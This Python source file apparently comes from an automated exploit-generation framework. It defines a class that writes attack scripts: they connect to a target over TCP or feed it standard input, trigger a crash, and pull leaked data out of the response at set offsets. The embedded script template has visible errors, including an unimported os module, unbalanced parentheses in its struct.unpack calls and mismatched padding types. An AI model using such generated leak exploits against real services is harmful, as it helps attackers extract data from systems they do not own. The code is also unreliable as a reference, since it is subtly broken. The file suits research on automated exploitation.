
from ...enums import CrashInputType
from .chess_exploit import CHESSExploit


class CHESSExploitLeak(CHESSExploit):
    """
    An exploit that leaks some data. Contains logic for extracting and formatting data from output stream.

    For now leaks are specified as tuples: (name, output stream pos, output stream size, data formatting, heredoc)

    data formats:
     - int_packed_be
     - int_packed_le
     - bytes
     - bytes_hex
     - bytes_b64
    """

    def __init__(self, *args, leaks=None, **kwargs):
        if leaks is None:
            raise TypeError("Need to specify leaks")
        super().__init__(*args, **kwargs)
        self.leaks = leaks

    def _write_script(self, **kwargs):
        if self.crash.input_type in (CrashInputType.STDIN, CrashInputType.POV_FILE):
            actions = self._script_get_actions_stdin()
        elif self.crash.input_type == CrashInputType.TCP:
            actions = self._script_get_actions_tcp()
        else:
            raise NotImplementedError("Unsupported crash input type %s." % self.crash.input_type)

        body = os.linesep.join(actions)

        preamble = """
import sys
import time
import nclib
import struct
import base64

if len(sys.argv) < 3:
    print("%s: <host> <port>" % sys.argv[0])
    sys.exit(1)

def reformat_leak(val, fmt):
    if fmt == "int_packed_be":
        return b'%X' % struct.unpack(">Q", val.ljust(8, '\\0')
    if fmt == "int_packed_le":
        return b'%X' % struct.unpack("<Q", val.rjust(8, '\\0')
    if fmt == "bytes":
        return val.split(b'\\0')[0]
    if fmt == "bytes_hex":
        return bytes.fromhex(val.decode())
    if fmt == "bytes_b64":
        return base64.b64decode(val)
    else:
        raise Exception("Invalid fmt")

r = nclib.Netcat((sys.argv[1], int(sys.argv[2])), udp=False)
"""

        tail = "\noutput = r.recvall(timeout=3)\n"
        for name, start, size, fmt, heredoc in self.leaks:
            if heredoc:
                doc = "HEREDOCHEREDOCHEREDOC"  # ...
                tail += 'print("{name}={doc}\\n" + reformat_leak(output[{start}:{end}], {fmt}) + "\\n{doc}")\n'.format(name=name, doc=doc, fmt=repr(fmt), start=start, end=start+size)
            else:
                tail += 'print("{name}=" + reformat_leak(output[{start}:{end}], {fmt}))\n'.format(name=name, fmt=repr(fmt), start=start, end=start+size)

        return preamble + body + tail
